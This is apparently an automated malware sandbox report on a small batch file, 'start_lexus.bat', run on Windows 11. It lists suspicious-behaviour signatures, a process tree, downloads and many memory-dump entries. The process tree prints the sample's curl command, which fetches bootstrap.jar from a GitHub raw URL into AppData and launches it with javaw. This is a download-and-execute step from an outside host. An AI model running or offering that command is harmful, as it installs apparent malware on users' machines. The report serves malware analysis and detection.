Analysis
- user interaction
yes - max time kernel
150s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
23/07/2026, 21:46
General
- Target start_lexus.bat
- Size 537B
- Sample260723-1ms62adc85
- SHA256 1f57c58ab27b96291796521ad9a97b1c2e09358dd27db1fd21c3e61b9dd2acf2
Malware Config
Signatures
- Loads dropped DLL 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\start_lexus.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\Users\Admin\AppData\Roaming\.lexus\bootstrap.jar" "https://raw.githubusercontent.com/anwxysrw/lexusbootstrap/4e3037dc18d8d116300e0d572da9e8012b45955e/bootstrap.jar"2⤵
-
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\javaw.exejavaw -jar "C:\Users\Admin\AppData\Roaming\.lexus\bootstrap.jar"2⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
lib5453662717957856374.tmp
bootstrap.jar
memory/2824-4-0x000001D5C9BC0000-0x000001D5C9E30000-memory.dmp
memory/2824-18-0x000001D5C9AB0000-0x000001D5C9AB1000-memory.dmp
memory/2824-31-0x000001D5C9E30000-0x000001D5C9E40000-memory.dmp
memory/2824-33-0x000001D5C9E40000-0x000001D5C9E50000-memory.dmp
memory/2824-36-0x000001D5C9AB0000-0x000001D5C9AB1000-memory.dmp
memory/2824-38-0x000001D5C9E50000-0x000001D5C9E60000-memory.dmp
memory/2824-40-0x000001D5C9E60000-0x000001D5C9E70000-memory.dmp
memory/2824-43-0x000001D5C9E70000-0x000001D5C9E80000-memory.dmp
memory/2824-45-0x000001D5C9E80000-0x000001D5C9E90000-memory.dmp
memory/2824-47-0x000001D5C9E90000-0x000001D5C9EA0000-memory.dmp
memory/2824-49-0x000001D5C9EA0000-0x000001D5C9EB0000-memory.dmp
memory/2824-51-0x000001D5C9BC0000-0x000001D5C9E30000-memory.dmp
memory/2824-52-0x000001D5C9EB0000-0x000001D5C9EC0000-memory.dmp
memory/2824-56-0x000001D5C9E30000-0x000001D5C9E40000-memory.dmp
memory/2824-57-0x000001D5C9ED0000-0x000001D5C9EE0000-memory.dmp
memory/2824-60-0x000001D5C9EE0000-0x000001D5C9EF0000-memory.dmp
memory/2824-59-0x000001D5C9E40000-0x000001D5C9E50000-memory.dmp
memory/2824-55-0x000001D5C9EC0000-0x000001D5C9ED0000-memory.dmp
memory/2824-63-0x000001D5C9EF0000-0x000001D5C9F00000-memory.dmp
memory/2824-62-0x000001D5C9E50000-0x000001D5C9E60000-memory.dmp
memory/2824-66-0x000001D5C9E60000-0x000001D5C9E70000-memory.dmp
memory/2824-67-0x000001D5C9F00000-0x000001D5C9F10000-memory.dmp
memory/2824-69-0x000001D5C9F10000-0x000001D5C9F20000-memory.dmp
memory/2824-68-0x000001D5C9E70000-0x000001D5C9E80000-memory.dmp
memory/2824-72-0x000001D5C9F20000-0x000001D5C9F30000-memory.dmp
memory/2824-71-0x000001D5C9E80000-0x000001D5C9E90000-memory.dmp
memory/2824-74-0x000001D5C9E90000-0x000001D5C9EA0000-memory.dmp
memory/2824-75-0x000001D5C9F30000-0x000001D5C9F40000-memory.dmp
memory/2824-79-0x000001D5C9F40000-0x000001D5C9F50000-memory.dmp
memory/2824-78-0x000001D5C9EA0000-0x000001D5C9EB0000-memory.dmp
memory/2824-83-0x000001D5C9F50000-0x000001D5C9F60000-memory.dmp
memory/2824-82-0x000001D5C9EC0000-0x000001D5C9ED0000-memory.dmp
memory/2824-81-0x000001D5C9EB0000-0x000001D5C9EC0000-memory.dmp
memory/2824-84-0x000001D5C9F60000-0x000001D5C9F70000-memory.dmp
memory/2824-87-0x000001D5C9F70000-0x000001D5C9F80000-memory.dmp
memory/2824-86-0x000001D5C9ED0000-0x000001D5C9EE0000-memory.dmp
memory/2824-90-0x000001D5C9F80000-0x000001D5C9F90000-memory.dmp
memory/2824-89-0x000001D5C9EE0000-0x000001D5C9EF0000-memory.dmp
memory/2824-93-0x000001D5C9F90000-0x000001D5C9FA0000-memory.dmp
memory/2824-92-0x000001D5C9EF0000-0x000001D5C9F00000-memory.dmp
memory/2824-96-0x000001D5C9FA0000-0x000001D5C9FB0000-memory.dmp
memory/2824-95-0x000001D5C9F00000-0x000001D5C9F10000-memory.dmp
memory/2824-99-0x000001D5C9FB0000-0x000001D5C9FC0000-memory.dmp
memory/2824-98-0x000001D5C9F10000-0x000001D5C9F20000-memory.dmp
memory/2824-103-0x000001D5C9FC0000-0x000001D5C9FD0000-memory.dmp
memory/2824-102-0x000001D5C9F20000-0x000001D5C9F30000-memory.dmp
memory/2824-105-0x000001D5C9F30000-0x000001D5C9F40000-memory.dmp
memory/2824-106-0x000001D5C9FD0000-0x000001D5C9FE0000-memory.dmp
memory/2824-110-0x000001D5C9FE0000-0x000001D5C9FF0000-memory.dmp
memory/2824-113-0x000001D5C9FF0000-0x000001D5CA000000-memory.dmp
memory/2824-112-0x000001D5C9F50000-0x000001D5C9F60000-memory.dmp
memory/2824-114-0x000001D5C9F60000-0x000001D5C9F70000-memory.dmp
memory/2824-115-0x000001D5CA000000-0x000001D5CA010000-memory.dmp
memory/2824-109-0x000001D5C9F40000-0x000001D5C9F50000-memory.dmp
memory/2824-118-0x000001D5C9F70000-0x000001D5C9F80000-memory.dmp
memory/2824-119-0x000001D5C9F80000-0x000001D5C9F90000-memory.dmp
memory/2824-121-0x000001D5C9F90000-0x000001D5C9FA0000-memory.dmp
memory/2824-122-0x000001D5C9FA0000-0x000001D5C9FB0000-memory.dmp
memory/2824-123-0x000001D5C9FB0000-0x000001D5C9FC0000-memory.dmp
memory/2824-124-0x000001D5C9FC0000-0x000001D5C9FD0000-memory.dmp
memory/2824-125-0x000001D5C9FD0000-0x000001D5C9FE0000-memory.dmp
memory/2824-126-0x000001D5C9FE0000-0x000001D5C9FF0000-memory.dmp
memory/2824-127-0x000001D5C9FF0000-0x000001D5CA000000-memory.dmp
memory/2824-128-0x000001D5CA000000-0x000001D5CA010000-memory.dmp
memory/2824-130-0x000001D5CA010000-0x000001D5CA020000-memory.dmp
memory/2824-133-0x000001D5CA020000-0x000001D5CA030000-memory.dmp
memory/2824-135-0x000001D5CA030000-0x000001D5CA040000-memory.dmp
memory/2824-137-0x000001D5CA040000-0x000001D5CA050000-memory.dmp
memory/2824-142-0x000001D5CA050000-0x000001D5CA060000-memory.dmp
memory/2824-144-0x000001D5C9AB0000-0x000001D5C9AB1000-memory.dmp
memory/2824-146-0x000001D5C9AB0000-0x000001D5C9AB1000-memory.dmp
memory/2824-157-0x000001D5CA060000-0x000001D5CA070000-memory.dmp
memory/2824-159-0x000001D5CA070000-0x000001D5CA080000-memory.dmp
memory/2824-162-0x000001D5CA080000-0x000001D5CA090000-memory.dmp
memory/2824-165-0x000001D5CA090000-0x000001D5CA0A0000-memory.dmp
memory/2824-167-0x000001D5CA0A0000-0x000001D5CA0B0000-memory.dmp
memory/2824-169-0x000001D5CA010000-0x000001D5CA020000-memory.dmp
memory/2824-170-0x000001D5CA0B0000-0x000001D5CA0C0000-memory.dmp
memory/2824-173-0x000001D5CA020000-0x000001D5CA030000-memory.dmp
memory/2824-174-0x000001D5CA0C0000-0x000001D5CA0D0000-memory.dmp
memory/2824-178-0x000001D5CA0D0000-0x000001D5CA0E0000-memory.dmp
memory/2824-177-0x000001D5CA030000-0x000001D5CA040000-memory.dmp
memory/2824-180-0x000001D5CA040000-0x000001D5CA050000-memory.dmp
memory/2824-181-0x000001D5CA0E0000-0x000001D5CA0F0000-memory.dmp
memory/2824-184-0x000001D5CA050000-0x000001D5CA060000-memory.dmp
memory/2824-185-0x000001D5CA0F0000-0x000001D5CA100000-memory.dmp
memory/2824-188-0x000001D5CA100000-0x000001D5CA110000-memory.dmp
memory/2824-187-0x000001D5CA060000-0x000001D5CA070000-memory.dmp
memory/2824-190-0x000001D5CA070000-0x000001D5CA080000-memory.dmp
memory/2824-191-0x000001D5CA110000-0x000001D5CA120000-memory.dmp
memory/2824-195-0x000001D5CA120000-0x000001D5CA130000-memory.dmp
memory/2824-194-0x000001D5CA080000-0x000001D5CA090000-memory.dmp
memory/2824-199-0x000001D5CA130000-0x000001D5CA140000-memory.dmp
memory/2824-198-0x000001D5CA090000-0x000001D5CA0A0000-memory.dmp
memory/2824-201-0x000001D5CA0A0000-0x000001D5CA0B0000-memory.dmp
memory/2824-203-0x000001D5CA0B0000-0x000001D5CA0C0000-memory.dmp
memory/2824-204-0x000001D5CA140000-0x000001D5CA150000-memory.dmp
memory/2824-207-0x000001D5CA0C0000-0x000001D5CA0D0000-memory.dmp
memory/2824-208-0x000001D5CA150000-0x000001D5CA160000-memory.dmp
memory/2824-211-0x000001D5CA0D0000-0x000001D5CA0E0000-memory.dmp